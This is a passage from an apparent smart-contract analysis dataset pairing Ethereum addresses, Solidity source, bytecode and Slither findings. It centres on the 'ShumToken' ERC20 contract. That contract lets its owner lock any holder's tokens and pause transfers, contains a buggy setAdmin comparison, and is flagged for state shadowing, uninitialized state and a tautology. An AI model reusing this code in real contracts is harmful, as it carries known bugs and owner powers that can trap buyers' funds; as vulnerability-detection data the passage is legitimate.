33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104a75780601f1061047c576101008083540402835291602001916104a7565b60035460009060a060020a900460ff16156108bb57600080fd5b6104d38383610ccd565b60035460009060a060020a900460ff16156108df57600080fd5b6104d38383610dc8565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a0390811691161461092f57600080fd5b600160a060020a038116151561094457600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60035433600160a060020a039081169116146109ca57600080fd5b80600160a060020a0316ff5b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a0383161515610a5957600080fd5b600160a060020a038416600090815260016020526040902054821115610a7e57600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610ab157600080fd5b600160a060020a038416600090815260016020526040902054610ada908363ffffffff610e6c16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610b0f908363ffffffff610bc416565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610b57908363ffffffff610e6c16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6000828201838110156104d357fe5b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610c3057600160a060020a033381166000908152600260209081526040808320938816835292905290812055610c67565b610c40818463ffffffff610e6c16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610ce457600080fd5b600160a060020a033316600090815260016020526040902054821115610d0957600080fd5b600160a060020a033316600090815260016020526040902054610d32908363ffffffff610e6c16565b600160a060020a033381166000908152600160205260408082209390935590851681522054610d67908363ffffffff610bc416565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610e00908363ffffffff610bc416565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600082821115610e7857fe5b509003905600a165627a7a723058207bf43fef2461ad3df6521993ee7e5be8049441edc30e4949a22f1ba226e62f8c0029 | {"success": true, "error": null, "results": {}} | 833 |
0x123988b9ef243b4b010a676d7ca7c1ef2e874aa2 | /**
*Submitted for verification at Etherscan.io on 2021-07-13
*/
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event LockAddress(address indexed from, address indexed to, uint256 releaseTime);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol,uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(recipient);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _afterTokenTransfer(address to) internal virtual { }
}
abstract contract ERC20Burnable is ERC20 {
function burn(uint256 amount) public virtual {
_burn(msg.sender, amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account,msg.sender, decreasedAllowance);
_burn(account, amount);
}
}
abstract contract LockedToken is ERC20,ERC20Burnable,Ownable{
mapping (address => bool) private _Admin;
struct _LockInfo {
uint256 releaseTime;
bool isUsed;
}
mapping (address => _LockInfo) private _LockList;
uint private _defaultLockDays;
bool private _pause;
constructor() Ownable() public{
unlock(msg.sender);
setAdmin(msg.sender,true);
_defaultLockDays = 0;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!_pause,"ERC20: transfer paused");
require(!isLocked(from),"ERC20: address locked");
}
function _afterTokenTransfer(address to) internal virtual override {
super._afterTokenTransfer(to);
if (_Admin[to] == true) {
_LockList[to].isUsed = true;
_LockList[to].releaseTime = block.timestamp;
} else if(_LockList[to].releaseTime == 0){
_LockList[to].isUsed = true;
_LockList[to].releaseTime = block.timestamp + (_defaultLockDays*24*3600);//(_defaultLockDays*600);
}
}
event lockSomeOne(address account, uint256 releaseTime);
event unlockSomeOne(address account);
function lock(address account, uint256 releaseTime) public onlyOwner {
_LockList[account].isUsed = true;
_LockList[account].releaseTime = releaseTime;
emit lockSomeOne(account, releaseTime);
}
function unlock(address account) public onlyOwner{
_LockList[account].isUsed = true;
_LockList[account].releaseTime = block.timestamp;
emit unlockSomeOne(account);
}
function isLocked(address account) internal returns (bool){
if (_LockList[account].isUsed) {
return _LockList[account].releaseTime > block.timestamp;
} else {
return false;
}
}
function setTransferPause(bool pause) public onlyOwner{
_pause = pause;
}
function setAdmin(address account,bool stats) public onlyOwner {
_Admin[account]== stats;
if (stats == false){
_LockList[account].releaseTime = 1592881395022;
}else{
_LockList[account].releaseTime = block.timestamp;
}
}
function setDefaultLockdays(uint dayNum) public onlyOwner {
require(dayNum >= 0,"DVC:must gather than or equal 0!");
_defaultLockDays = dayNum;
}
function lockDate(address user) public view returns (uint) {
return _LockList[user].releaseTime;
}
function defaultLockDays() public view returns (uint) {
return _defaultLockDays;
}
}
contract ShumToken is LockedToken {
string private _name = "Shum Finance";
string private _symbol = "SHUM";
uint8 private _decimals = 18;
constructor ()
ERC20(_name, _symbol, _decimals)
public{
_mint(msg.sender,3000000000000000000000000000);
}
} | 0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c357806395d89b411161007c57806395d89b41146105d0578063a457c2d714610653578063a9059cbb146106b7578063c53d17471461071b578063dd62ed3e14610773578063f2fde38b146107eb5761014d565b806370a082311461049e578063715018a6146104f657806379cc67901461050057806383a72aaa1461054e5780638da5cb5b1461056c5780639358037a146105a05761014d565b80632f6c493c116101155780632f6c493c14610329578063313ce5671461036d578063395093511461038e57806342966c68146103f25780634afb02e6146104205780634b0bddd21461044e5761014d565b806306fdde0314610152578063095ea7b3146101d557806318160ddd1461023957806323b872dd14610257578063282d3fdf146102db575b600080fd5b61015a61082f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019a57808201518184015260208101905061017f565b50505050905090810190601f1680156101c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610221600480360360408110156101eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108d1565b60405180821515815260200191505060405180910390f35b6102416108e8565b6040518082815260200191505060405180910390f35b6102c36004803603606081101561026d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108f2565b60405180821515815260200191505060405180910390f35b610327600480360360408110156102f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109bd565b005b61036b6004803603602081101561033f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b7b565b005b610375610d30565b604051808260ff16815260200191505060405180910390f35b6103da600480360360408110156103a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d47565b60405180821515815260200191505060405180910390f35b61041e6004803603602081101561040857600080fd5b8101908080359060200190929190505050610dec565b005b61044c6004803603602081101561043657600080fd5b8101908080359060200190929190505050610df9565b005b61049c6004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610f3d565b005b6104e0600480360360208110156104b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110fa565b6040518082815260200191505060405180910390f35b6104fe611142565b005b61054c6004803603604081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112c6565b005b61055661131a565b6040518082815260200191505060405180910390f35b610574611324565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105ce600480360360208110156105b657600080fd5b8101908080351515906020019092919050505061134e565b005b6105d861142e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106185780820151818401526020810190506105fd565b50505050905090810190601f1680156106455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61069f6004803603604081101561066957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114d0565b60405180821515815260200191505060405180910390f35b610703600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061158f565b60405180821515815260200191505060405180910390f35b61075d6004803603602081101561073157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115a6565b6040518082815260200191505060405180910390f35b6107d56004803603604081101561078957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115f2565b6040518082815260200191505060405180910390f35b61082d6004803603602081101561080157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611679565b005b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108c75780601f1061089c576101008083540402835291602001916108c7565b820191906000526020600020905b8154815290600101906020018083116108aa57829003601f168201915b5050505050905090565b60006108de33848461190a565b6001905092915050565b6000600254905090565b60006108ff848484611b01565b6109b284336109ad8560405180606001604052806028815260200161251760289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcb9092919063ffffffff16565b61190a565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a80576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160006101000a81548160ff02191690831515021790555080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055507fc3f5f7966736fce35e5ebfb3cdc7504cd450ebd59e41fc35d2d8b7241bcc5c3c8282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b3373ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160006101000a81548160ff02191690831515021790555042600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055507f83dce18ab1d80abfcd7a494a1a1eba6c0ad8bec7fa7078a2545c03347fcf6b6481604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600560009054906101000a900460ff16905090565b6000610de23384610ddd85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188290919063ffffffff16565b61190a565b6001905092915050565b610df63382611e8b565b50565b3373ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ebc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811015610f33576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4456433a6d75737420676174686572207468616e206f7220657175616c20302181525060200191505060405180910390fd5b8060088190555050565b3373ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611000576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b801515600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a905050506000151581151514156110ae57650172df21354e600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506110f6565b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611205576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006112fe8260405180606001604052806024815260200161253f602491396112ef86336115f2565b611dcb9092919063ffffffff16565b905061130b83338361190a565b6113158383611e8b565b505050565b6000600854905090565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611411576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600960006101000a81548160ff02191690831515021790555050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114c65780601f1061149b576101008083540402835291602001916114c6565b820191906000526020600020905b8154815290600101906020018083116114a957829003601f168201915b5050505050905090565b60006115853384611580856040518060600160405280602581526020016125cd60259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcb9092919063ffffffff16565b61190a565b6001905092915050565b600061159c338484611b01565b6001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461173c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806124a96026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611900576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611990576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806125a96024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806124cf6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b87576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806125846025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806124646023913960400191505060405180910390fd5b611c1883838361204f565b611c83816040518060600160405280602681526020016124f1602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcb9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d16816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3611dc68261215e565b505050565b6000838311158290611e78576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e3d578082015181840152602081019050611e22565b50505050905090810190601f168015611e6a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f11576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806125636021913960400191505060405180910390fd5b611f1d8260008361204f565b611f8881604051806060016040528060228152602001612487602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcb9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fdf8160025461236490919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b61205a8383836123ae565b600960009054906101000a900460ff16156120dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a207472616e73666572207061757365640000000000000000000081525060200191505060405180910390fd5b6120e6836123b3565b15612159576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f45524332303a2061646472657373206c6f636b6564000000000000000000000081525060200191505060405180910390fd5b505050565b61216781612460565b60011515600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415612267576001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160006101000a81548160ff02191690831515021790555042600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550612361565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541415612360576001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160006101000a81548160ff021916908315150217905550610e10601860085402024201600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b50565b60006123a683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dcb565b905092915050565b505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff16156124565742600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015411905061245b565b600090505b919050565b5056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220084af2e997027f856410be5aeaf95e82cb21509d64810d1eec97cc7f4d674dbf64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 834 |
0x3d569673daa0575c936c7c67c4e6aeda69cc630c | /**
*Submitted for verification at Etherscan.io on 2022-05-02
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
/**
